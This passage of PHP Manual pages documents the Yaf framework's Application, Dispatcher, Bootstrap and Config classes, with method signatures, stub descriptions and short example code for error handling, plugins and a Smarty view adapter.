string(69) "Could not find controller script /tmp/notexists/controllers/Index.php"

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::getDispatcher
Yaf_Application::getLastErrorNo
Yaf_Application


Get code of last occurred error

Yaf_Application::getLastErrorMsg
Yaf_Application::getModules
Yaf_Application
PHP Manual

Yaf_Application::getLastErrorNo

(PECL yaf >=2.1.2)

Yaf_Application::getLastErrorNo — Get code of last occurred error

Description

public int Yaf_Application::getLastErrorNo ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::getLastErrorNo()example

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
   var_dump(Yaf_Application::app()->getLastErrorNo());
   var_dump(Yaf_Application::app()->getLastErrorNo() == YAF_ERR_NOTFOUND_CONTROLLER);
}

$config = array(
  "application" => array(
   "directory" => "/tmp/notexists",
     "dispatcher" => array(
       "throwException" => 0, //trigger error instead of throw exception when error occure
      ),
  ),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

The above example will output something similar to:

int(516)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::getLastErrorMsg
Yaf_Application::getModules
Yaf_Application


Get defined module names

Yaf_Application::getLastErrorNo
Yaf_Application::run
Yaf_Application
PHP Manual

Yaf_Application::getModules

(PECL yaf >=1.0.0)

Yaf_Application::getModules — Get defined module names

Description

public array Yaf_Application::getModules ( void )

Get the modules list defined in config, if no one defined, there will always be a module named "Index".

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Application::getModules()example

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getModules());
?>

The above example will output something similar to:

Array
(
    [0] => Index
)

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::getLastErrorNo
Yaf_Application::run
Yaf_Application


Start Yaf_Application

Yaf_Application::getModules
Yaf_Application::setAppDirectory
Yaf_Application
PHP Manual

Yaf_Application::run

(PECL yaf >=1.0.0)

Yaf_Application::run — Start Yaf_Application

Description

public void Yaf_Application::run ( void )

Run a Yaf_Application, let the Yaf_Application accpect a request, and route the request, dispatch to controller/action, and render response. return response to client fianlly.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::getModules
Yaf_Application::setAppDirectory
Yaf_Application


Change the application directory

Yaf_Application::run
Yaf_Application::__sleep
Yaf_Application
PHP Manual

Yaf_Application::setAppDirectory

(PECL yaf >=2.1.4)

Yaf_Application::setAppDirectory — Change the application directory

Description

public Yaf_Application Yaf_Application::setAppDirectory ( string $directory )

Warning

This function is currently not documented; only its argument list is available.

Parameters

directory

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::run
Yaf_Application::__sleep
Yaf_Application


Yaf_Application can not be serialized

Yaf_Application::setAppDirectory
Yaf_Application::__wakeup
Yaf_Application
PHP Manual

Yaf_Application::__sleep

(PECL yaf >=1.0.0)

Yaf_Application::__sleep — Yaf_Application can not be serialized

Description

private void Yaf_Application::__sleep ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::setAppDirectory
Yaf_Application::__wakeup
Yaf_Application


Yaf_Application can not be unserialized

Yaf_Application::__sleep
Yaf_Bootstrap_Abstract
Yaf_Application
PHP Manual

Yaf_Application::__wakeup

(PECL yaf >=1.0.0)

Yaf_Application::__wakeup — Yaf_Application can not be unserialized

Description

private void Yaf_Application::__wakeup ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::__sleep
Yaf_Bootstrap_Abstract
Yaf_Application


The Yaf_Bootstrap_Abstract class

(No version information available, might only be in SVN)

Introduction

Bootstrap is a mechanism used to do some intial config before a Application run.

User may define their own Bootstrap class by inheriting Yaf_Bootstrap_Abstract

Any method declared in Bootstrap class with leading "_init", will be called by Yaf_Application::bootstrap() one by one according to their defined order.

Class synopsis

abstract Yaf_Bootstrap_Abstract {
/* Properties */
/* Methods */
}

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Application::__wakeup
Yaf_Dispatcher
Yaf


The Yaf_Dispatcher class

(No version information available, might only be in SVN)

Introduction

Yaf_Dispatcher purpose is to initialize the request environment, route the incoming request, and then dispatch any discovered actions; it aggregates any responses and returns them when the process is complete.

Yaf_Dispatcher also implements the Singleton pattern, meaning only a single instance of it may be available at any given time. This allows it to also act as a registry on which the other objects in the dispatch process may draw.

Class synopsis

final Yaf_Dispatcher {
/* Properties */
protected $_router ;
protected $_view ;
protected $_request ;
protected $_plugins ;
protected static $_instance ;
protected $_auto_render ;
protected $_return_response ;
protected $_instantly_flush ;
protected $_default_module ;
protected $_default_controller ;
protected $_default_action ;
/* Methods */
public Yaf_Dispatcher autoRender ( bool $flag )
public Yaf_Dispatcher catchException ([ bool $flag ] )
private void __clone ( void )
public __construct ( void )
public Yaf_Dispatcher disableView ( void )
public Yaf_Response_Abstract dispatch ( Yaf_Request_Abstract $request )
public Yaf_Dispatcher enableView ( void )
public Yaf_Dispatcher flushInstantly ( bool $flag )
public Yaf_Application getApplication ( void )
public static Yaf_Dispatcher getInstance ( void )
public Yaf_Request_Abstract getRequest ( void )
public Yaf_Router getRouter ( void )
public Yaf_View_Interface initView ( string $templates_dir [, array $options ] )
public Yaf_Dispatcher registerPlugin ( Yaf_Plugin_Abstract $plugin )
public Yaf_Dispatcher returnResponse ( bool $flag )
public Yaf_Dispatcher setAppDirectory ( string $directory )
public Yaf_Dispatcher setDefaultAction ( string $action )
public Yaf_Dispatcher setDefaultController ( string $controller )
public Yaf_Dispatcher setDefaultModule ( string $module )
public Yaf_Dispatcher setErrorHandler ( call $callback , int $error_types )
public Yaf_Dispatcher setRequest ( Yaf_Request_Abstract $request )
public Yaf_Dispatcher setView ( Yaf_View_Interface $view )
private void __sleep ( void )
public Yaf_Dispatcher throwException ([ bool $flag ] )
private void __wakeup ( void )
}

Properties

_router

_view

_request

_plugins

_instance

_auto_render

_return_response

_instantly_flush

_default_module

_default_controller

_default_action

Table of Contents

  • Yaf_Dispatcher::autoRender — Switch on/off autorendering
  • Yaf_Dispatcher::catchException — Switch on/off exception catching
  • Yaf_Dispatcher::__clone — Yaf_Dispatcher can not be cloned
  • Yaf_Dispatcher::__construct — Yaf_Dispatcher constructor
  • Yaf_Dispatcher::disableView — Disable view rendering
  • Yaf_Dispatcher::dispatch — Dispatch a request
  • Yaf_Dispatcher::enableView — enable view rendering
  • Yaf_Dispatcher::flushInstantly — Switch on/off the instant flushing
  • Yaf_Dispatcher::getApplication — Retrive the application
  • Yaf_Dispatcher::getInstance — Retrive the dispatcher instance
  • Yaf_Dispatcher::getRequest — Retrive the request instance
  • Yaf_Dispatcher::getRouter — Retrive router instance
  • Yaf_Dispatcher::initView — Initialize view and return it
  • Yaf_Dispatcher::registerPlugin — Register a plugin
  • Yaf_Dispatcher::returnResponse — The returnResponse purpose
  • Yaf_Dispatcher::setAppDirectory — Change the application directory
  • Yaf_Dispatcher::setDefaultAction — Change default action name
  • Yaf_Dispatcher::setDefaultController — Change default controller name
  • Yaf_Dispatcher::setDefaultModule — Change default module name
  • Yaf_Dispatcher::setErrorHandler — The setErrorHandler purpose
  • Yaf_Dispatcher::setRequest — The setRequest purpose
  • Yaf_Dispatcher::setView — Set a custom view engine
  • Yaf_Dispatcher::__sleep — Yaf_Dispatcher can not be serialized
  • Yaf_Dispatcher::throwException — Switch on/off exception throwing
  • Yaf_Dispatcher::__wakeup — Yaf_Dispatcher can not be unserialized

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Bootstrap_Abstract
Yaf_Dispatcher::autoRender
Yaf


Switch on/off autorendering

Yaf_Dispatcher
Yaf_Dispatcher::catchException
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::autoRender

(PECL yaf >=1.0.0)

Yaf_Dispatcher::autoRender — Switch on/off autorendering

Description

public Yaf_Dispatcher Yaf_Dispatcher::autoRender ( bool $flag )

Yaf_Dispatcher will render automatically after dispatches a incoming request, you can prevent the rendering by calling this method with flag TRUE

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

bool

Return Values

Examples

Example #1 Yaf_Dispatcher::autoRender()example

<?php
class IndexController extends Yaf_Controller_Abstract {
     /* init method will be called as soon as a controller is initialized */
     public function init() {
         if ($this->getRequest()->isXmlHttpRequest()) {
             //do not call render for ajax request
             //we will outpu a json string
             Yaf_Dispatcher::getInstance()->autoRender(FALSE);
         }
     }
}
?>

The above example will output something similar to:

User Contributed Notes

There are no user contributed notes for this page.

Yaf_Dispatcher

Yaf_Dispatcher::catchException

Yaf_Dispatcher


Switch on/off exception catching

Yaf_Dispatcher::autoRender
Yaf_Dispatcher::__clone
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::catchException

(PECL yaf >=1.0.0)

Yaf_Dispatcher::catchException — Switch on/off exception catching

Description

public Yaf_Dispatcher Yaf_Dispatcher::catchException ([ bool $flag ] )

While the application.dispatcher.throwException is On(you can also calling to Yaf_Dispatcher::throwException(TRUE)() to enable it), Yaf will throw Exception whe error occurrs instead of trigger error.

then if you enable Yaf_Dispatcher::catchException()(also can enabled by set application.dispatcher.catchException), all Un-caught Exceptions will be caught by ErrorController::error if you have defined one.

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

Return Values

Examples

Example #1 Yaf_Dispatcher::catchException()example

/* if you defined a ErrorController like following */
<?php
class ErrorController extends Yaf_Controller_Abstract {
     /**
      * you can also call to Yaf_Request_Abstract::getException to get the
      * un-caught exception.
      */
     public function error($exception) {
        /* error occurs */
        switch ($exception->getCode()) {
            case YAF_ERR_NOTFOUND_MODULE:
            case YAF_ERR_NOTFOUND_CONTROLLER:
            case YAF_ERR_NOTFOUND_ACTION:
            case YAF_ERR_NOTFOUND_VIEW:
                echo 404, ":", $exception->getMessage();
                break;
            default :
                $message = $exception->getMessage();
                echo 0, ":", $exception->getMessage();
                break;
        }
     }
}
?>

The above example will output something similar to:

/* now if some error occur, assuming access a non-exists controller(or you can throw a exception yourself): */
404:Could not find controller script **/application/controllers/No-exists-controller.php

See Also

  • Yaf_Dispatcher::throwException() - Switch on/off exception throwing

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::autoRender
Yaf_Dispatcher::__clone
Yaf_Dispatcher


Yaf_Dispatcher can not be cloned

Yaf_Dispatcher::catchException
Yaf_Dispatcher::__construct
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::__clone

(PECL yaf >=1.0.0)

Yaf_Dispatcher::__clone — Yaf_Dispatcher can not be cloned

Description

private void Yaf_Dispatcher::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::catchException
Yaf_Dispatcher::__construct
Yaf_Dispatcher


Yaf_Dispatcher constructor

Yaf_Dispatcher::__clone
Yaf_Dispatcher::disableView
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::__construct

(PECL yaf >=1.0.0)

Yaf_Dispatcher::__construct — Yaf_Dispatcher constructor

Description

public Yaf_Dispatcher::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::__clone
Yaf_Dispatcher::disableView
Yaf_Dispatcher


Disable view rendering

Yaf_Dispatcher::__construct
Yaf_Dispatcher::dispatch
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::disableView

(PECL yaf >=1.0.0)

Yaf_Dispatcher::disableView — Disable view rendering

Description

public Yaf_Dispatcher Yaf_Dispatcher::disableView ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::__construct
Yaf_Dispatcher::dispatch
Yaf_Dispatcher


Dispatch a request

Yaf_Dispatcher::disableView
Yaf_Dispatcher::enableView
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::dispatch

(PECL yaf >=1.0.0)

Yaf_Dispatcher::dispatch — Dispatch a request

Description

public Yaf_Response_Abstract Yaf_Dispatcher::dispatch ( Yaf_Request_Abstract $request )

This method does the heavy work of the Yaf_Dispatcher. It take a request object.

The dispatch process has three distinct events:

  • Routing
  • Dispatching
  • Response
Routing takes place exactly once, using the values in the request object when dispatch() is called. Dispatching takes place in a loop; a request may either indicate multiple actions to dispatch, or the controller or a plugin may reset the request object to force additional actions to dispatch(see Yaf_Plugin_Abstract. When all is done, the Yaf_Dispatcher returns a response.

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::disableView
Yaf_Dispatcher::enableView
Yaf_Dispatcher


enable view rendering

Yaf_Dispatcher::dispatch
Yaf_Dispatcher::flushInstantly
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::enableView

(PECL yaf >=1.0.0)

Yaf_Dispatcher::enableView — enable view rendering

Description

public Yaf_Dispatcher Yaf_Dispatcher::enableView ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::dispatch
Yaf_Dispatcher::flushInstantly
Yaf_Dispatcher


Switch on/off the instant flushing

Yaf_Dispatcher::enableView
Yaf_Dispatcher::getApplication
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::flushInstantly

(PECL yaf >=1.0.0)

Yaf_Dispatcher::flushInstantly — Switch on/off the instant flushing

Description

public Yaf_Dispatcher Yaf_Dispatcher::flushInstantly ( bool $flag )

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::enableView
Yaf_Dispatcher::getApplication
Yaf_Dispatcher


Retrive the application

Yaf_Dispatcher::flushInstantly
Yaf_Dispatcher::getInstance
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::getApplication

(PECL yaf >=1.0.0)

Yaf_Dispatcher::getApplication — Retrive the application

Description

public Yaf_Application Yaf_Dispatcher::getApplication ( void )

Retrive the Yaf_Application instance. same as Yaf_Application::app().

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

See Also

  • Yaf_Application::app() - Retrive an Application instance

User Contributed Notes

brandon at brandonlamb dot com 29-Dec-2011 08:38
Here is an example of how you can get the instance of Yaf_Application from somewhere in your application.

index.php:
<?php
// Set BASE_PATH to one directory up, outside of document root
define('BASE_PATH', realpath(dirname(__FILE__) . '/..'));

// Instantiate new application
$app  = new Yaf_Application(BASE_PATH . '/application/config/application.ini');
$app->bootstrap()->run();
?>

Blog.php (controller):
<?php
$app = Yaf_Application::app();
print_r($app);
?>
Yaf_Dispatcher::flushInstantly
Yaf_Dispatcher::getInstance
Yaf_Dispatcher


Retrive the dispatcher instance

Yaf_Dispatcher::getApplication
Yaf_Dispatcher::getRequest
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::getInstance

(PECL yaf >=1.0.0)

Yaf_Dispatcher::getInstance — Retrive the dispatcher instance

Description

public static Yaf_Dispatcher Yaf_Dispatcher::getInstance ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::getApplication
Yaf_Dispatcher::getRequest
Yaf_Dispatcher


Retrive the request instance

Yaf_Dispatcher::getInstance
Yaf_Dispatcher::getRouter
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::getRequest

(PECL yaf >=1.0.0)

Yaf_Dispatcher::getRequest — Retrive the request instance

Description

public Yaf_Request_Abstract Yaf_Dispatcher::getRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::getInstance
Yaf_Dispatcher::getRouter
Yaf_Dispatcher


Retrive router instance

Yaf_Dispatcher::getRequest
Yaf_Dispatcher::initView
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::getRouter

(PECL yaf >=1.0.0)

Yaf_Dispatcher::getRouter — Retrive router instance

Description

public Yaf_Router Yaf_Dispatcher::getRouter ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::getRequest
Yaf_Dispatcher::initView
Yaf_Dispatcher


Initialize view and return it

Yaf_Dispatcher::getRouter
Yaf_Dispatcher::registerPlugin
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::initView

(PECL yaf >=1.0.0)

Yaf_Dispatcher::initView — Initialize view and return it

Description

public Yaf_View_Interface Yaf_Dispatcher::initView ( string $templates_dir [, array $options ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

templates_dir

options

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::getRouter
Yaf_Dispatcher::registerPlugin
Yaf_Dispatcher


Register a plugin

Yaf_Dispatcher::initView
Yaf_Dispatcher::returnResponse
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::registerPlugin

(PECL yaf >=1.0.0)

Yaf_Dispatcher::registerPlugin — Register a plugin

Description

public Yaf_Dispatcher Yaf_Dispatcher::registerPlugin ( Yaf_Plugin_Abstract $plugin )

Register a plugin(see Yaf_Plugin_Abstract). Generally, we register plugins in Bootstrap(see Yaf_Bootstrap_Abstract).

Warning

This function is currently not documented; only its argument list is available.

Parameters

plugin

Return Values

Examples

Example #1 Yaf_Dispatcher::registerPlugin()example

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {
  public function _initPlugin(Yaf_Dispatcher $dispatcher) {
    /**
    * Yaf assumes plugin scripts under [application.directory] .  "/plugins"
    * for this case, it will be:
    * [application.directory] . "/plugins/" . "User" . [application.ext]
    */
    $user = new UserPlugin();
    $dispatcher->registerPlugin($user);
  }
}
?>

See Also

  • Yaf_Plugin_Abstract
  • Yaf_Bootstrap_Abstract

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::initView
Yaf_Dispatcher::returnResponse
Yaf_Dispatcher


The returnResponse purpose

Yaf_Dispatcher::registerPlugin
Yaf_Dispatcher::setAppDirectory
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::returnResponse

(PECL yaf >=1.0.0)

Yaf_Dispatcher::returnResponse — The returnResponse purpose

Description

public Yaf_Dispatcher Yaf_Dispatcher::returnResponse ( bool $flag )

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::registerPlugin
Yaf_Dispatcher::setAppDirectory
Yaf_Dispatcher


Change the application directory

Yaf_Dispatcher::returnResponse
Yaf_Dispatcher::setDefaultAction
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::setAppDirectory

(PECL yaf <=2.1.4)

Yaf_Dispatcher::setAppDirectory — Change the application directory

Description

public Yaf_Dispatcher Yaf_Dispatcher::setAppDirectory ( string $directory )

Warning

This function is currently not documented; only its argument list is available.

Parameters

directory

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::returnResponse
Yaf_Dispatcher::setDefaultAction
Yaf_Dispatcher


Change default action name

Yaf_Dispatcher::setAppDirectory
Yaf_Dispatcher::setDefaultController
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::setDefaultAction

(PECL yaf >=1.0.0)

Yaf_Dispatcher::setDefaultAction — Change default action name

Description

public Yaf_Dispatcher Yaf_Dispatcher::setDefaultAction ( string $action )

Warning

This function is currently not documented; only its argument list is available.

Parameters

action

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::setAppDirectory
Yaf_Dispatcher::setDefaultController
Yaf_Dispatcher


Change default controller name

Yaf_Dispatcher::setDefaultAction
Yaf_Dispatcher::setDefaultModule
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::setDefaultController

(PECL yaf >=1.0.0)

Yaf_Dispatcher::setDefaultController — Change default controller name

Description

public Yaf_Dispatcher Yaf_Dispatcher::setDefaultController ( string $controller )

Warning

This function is currently not documented; only its argument list is available.

Parameters

controller

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::setDefaultAction
Yaf_Dispatcher::setDefaultModule
Yaf_Dispatcher


Change default module name

Yaf_Dispatcher::setDefaultController
Yaf_Dispatcher::setErrorHandler
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::setDefaultModule

(PECL yaf >=1.0.0)

Yaf_Dispatcher::setDefaultModule — Change default module name

Description

public Yaf_Dispatcher Yaf_Dispatcher::setDefaultModule ( string $module )

Warning

This function is currently not documented; only its argument list is available.

Parameters

module

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::setDefaultController
Yaf_Dispatcher::setErrorHandler
Yaf_Dispatcher


The setErrorHandler purpose

Yaf_Dispatcher::setDefaultModule
Yaf_Dispatcher::setRequest
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::setErrorHandler

(PECL yaf >=1.0.0)

Yaf_Dispatcher::setErrorHandler — The setErrorHandler purpose

Description

public Yaf_Dispatcher Yaf_Dispatcher::setErrorHandler ( call $callback , int $error_types )

Warning

This function is currently not documented; only its argument list is available.

Parameters

callback

error_types

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::setDefaultModule
Yaf_Dispatcher::setRequest
Yaf_Dispatcher


The setRequest purpose

Yaf_Dispatcher::setErrorHandler
Yaf_Dispatcher::setView
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::setRequest

(PECL yaf >=1.0.0)

Yaf_Dispatcher::setRequest — The setRequest purpose

Description

public Yaf_Dispatcher Yaf_Dispatcher::setRequest ( Yaf_Request_Abstract $request )

Warning

This function is currently not documented; only its argument list is available.

Parameters

plugin

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::setErrorHandler
Yaf_Dispatcher::setView
Yaf_Dispatcher


Set a custom view engine

Yaf_Dispatcher::setRequest
Yaf_Dispatcher::__sleep
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::setView

(PECL yaf >=1.0.0)

Yaf_Dispatcher::setView — Set a custom view engine

Description

public Yaf_Dispatcher Yaf_Dispatcher::setView ( Yaf_View_Interface $view )

This method proviods a solution for that if you want use a custom view engine instead of Yaf_View_Simple

Warning

This function is currently not documented; only its argument list is available.

Parameters

view

A Yaf_View_Interface instance

Return Values

Examples

Example #1 A custom View engine()example

<?php
require "/path/to/smarty/Smarty.class.php";

class Smarty_Adapter implements Yaf_View_Interface
{
    /**
     * Smarty object
     * @var Smarty
     */
    public $_smarty;

    /**
     * Constructor
     *
     * @param string $tmplPath
     * @param array $extraParams
     * @return void
     */
    public function __construct($tmplPath = null, $extraParams = array()) {
        $this->_smarty = new Smarty;

        if (null !== $tmplPath) {
            $this->setScriptPath($tmplPath);
        }

        foreach ($extraParams as $key => $value) {
            $this->_smarty->$key = $value;
        }
    }

    /**
     * Set the path to the templates
     *
     * @param string $path The directory to set as the path.
     * @return void
     */
    public function setScriptPath($path)
    {
        if (is_readable($path)) {
            $this->_smarty->template_dir = $path;
            return;
        }

        throw new Exception('Invalid path provided');
    }

    /**
     * Assign a variable to the template
     *
     * @param string $key The variable name.
     * @param mixed $val The variable value.
     * @return void
     */
    public function __set($key, $val)
    {
        $this->_smarty->assign($key, $val);
    }

    /**
     * Allows testing with empty() and isset() to work
     *
     * @param string $key
     * @return boolean
     */
    public function __isset($key)
    {
        return (null !== $this->_smarty->get_template_vars($key));
    }

    /**
     * Allows unset() on object properties to work
     *
     * @param string $key
     * @return void
     */
    public function __unset($key)
    {
        $this->_smarty->clear_assign($key);
    }

    /**
     * Assign variables to the template
     *
     * Allows setting a specific key to the specified value, OR passing
     * an array of key => value pairs to set en masse.
     *
     * @see __set()
     * @param string|array $spec The assignment strategy to use (key or
     * array of key => value pairs)
     * @param mixed $value (Optional) If assigning a named variable,
     * use this as the value.
     * @return void
     */
    public function assign($spec, $value = null) {
        if (is_array($spec)) {
            $this->_smarty->assign($spec);
            return;
        }

        $this->_smarty->assign($spec, $value);
    }

    /**
     * Clear all assigned variables
     *
     * Clears all variables assigned to Yaf_View either via
     * {@link assign()} or property overloading
     * ({@link __get()}/{@link __set()}).
     *
     * @return void
     */
    public function clearVars() {
        $this->_smarty->clear_all_assign();
    }

    /**
     * Processes a template and returns the output.
     *
     * @param string $name The template to process.
     * @return string The output.
     */
    public function render($name, $value = NULL) {
        return $this->_smarty->fetch($name);
    }

    public function display($name, $value = NULL) {
        echo $this->_smarty->fetch($name);
    }

}
?>

Example #2 Yaf_Dispatcher::setView()example

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {

    /**
     * there are some config for smarty in the config:
     *
     * smarty.left_delimiter   = "{{"
     * smarty.right_delimiter  = "}}"
     * smarty.template_dir     = APPLICATION_PATH "/views/scripts/"
     * smarty.compile_dir      = APPLICATION_PATH "/views/templates_c/"
     * smarty.cache_dir        = APPLICATION_PATH "/views/templates_d/"
     *
     */
    public function _initConfig() {
        $config = Yaf_Application::app()->getConfig();
        Yaf_Registry::set("config", $config);
    }

    public function _initLocalName() {
        /** we put class Smarty_Adapter under the local library directory */
        Yaf_Loader::getInstance()->registerLocalNamespace('Smarty');
    }

    public function _initSmarty(Yaf_Dispatcher $dispatcher) {
        $smarty = new Smarty_Adapter(null, Yaf_Registry::get("config")->get("smarty"));
        $dispatcher->setView($smarty);
        /* now the Smarty view engine become the default view engine of Yaf */
    }
}
?>

See Also

  • Yaf_View_Interface
  • Yaf_View_Simple

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::setRequest
Yaf_Dispatcher::__sleep
Yaf_Dispatcher


Yaf_Dispatcher can not be serialized

Yaf_Dispatcher::setView
Yaf_Dispatcher::throwException
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::__sleep

(PECL yaf >=1.0.0)

Yaf_Dispatcher::__sleep — Yaf_Dispatcher can not be serialized

Description

private void Yaf_Dispatcher::__sleep ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::setView
Yaf_Dispatcher::throwException
Yaf_Dispatcher


Switch on/off exception throwing

Yaf_Dispatcher::__sleep
Yaf_Dispatcher::__wakeup
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::throwException

(PECL yaf >=1.0.0)

Yaf_Dispatcher::throwException — Switch on/off exception throwing

Description

public Yaf_Dispatcher Yaf_Dispatcher::throwException ([ bool $flag ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::__sleep
Yaf_Dispatcher::__wakeup
Yaf_Dispatcher


Yaf_Dispatcher can not be unserialized

Yaf_Dispatcher::throwException
Yaf_Config_Abstract
Yaf_Dispatcher
PHP Manual

Yaf_Dispatcher::__wakeup

(PECL yaf >=1.0.0)

Yaf_Dispatcher::__wakeup — Yaf_Dispatcher can not be unserialized

Description

private void Yaf_Dispatcher::__wakeup ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::throwException
Yaf_Config_Abstract
Yaf_Dispatcher


The Yaf_Config_Abstract class

(No version information available, might only be in SVN)

Introduction

Class synopsis

abstract Yaf_Config_Abstract {
/* Properties */
protected $_config ;
protected $_readonly ;
/* Methods */
abstract public mixed get ( string $name , mixed $value )
abstract public bool readonly ( void )
abstract public Yaf_Config_Abstract set ( void )
abstract public array toArray ( void )
}

Properties

_config

_readonly

Table of Contents

  • Yaf_Config_Abstract::get — Getter
  • Yaf_Config_Abstract::readonly — Find a config whether readonly
  • Yaf_Config_Abstract::set — Setter
  • Yaf_Config_Abstract::toArray — Cast to array

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Dispatcher::__wakeup
Yaf_Config_Abstract::get
Yaf


Getter

Yaf_Config_Abstract
Yaf_Config_Abstract::readonly
Yaf_Config_Abstract
PHP Manual

Yaf_Config_Abstract::get

(PECL yaf >=1.0.0)

Yaf_Config_Abstract::get — Getter

Description

abstract public mixed Yaf_Config_Abstract::get ( string $name , mixed $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Abstract
Yaf_Config_Abstract::readonly
Yaf_Config_Abstract


Find a config whether readonly

Yaf_Config_Abstract::get
Yaf_Config_Abstract::set
Yaf_Config_Abstract
PHP Manual

Yaf_Config_Abstract::readonly

(PECL yaf >=1.0.0)

Yaf_Config_Abstract::readonly — Find a config whether readonly

Description

abstract public bool Yaf_Config_Abstract::readonly ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Config_Abstract::get
Yaf_Config_Abstract::set
Yaf_Config_Abstract


Setter

Yaf_Config_Abstract::readonly
Yaf_Config_Abstract::toArray
Yaf_Config_Abstract
PHP Manual

Yaf_Config_Abstract::set

(PECL yaf >=1.0.0)

Yaf_Config_Abstract::set — Setter

Description

abstract public Yaf_Config_Abstract Yaf_Config_Abstract::set ( void )

Warning

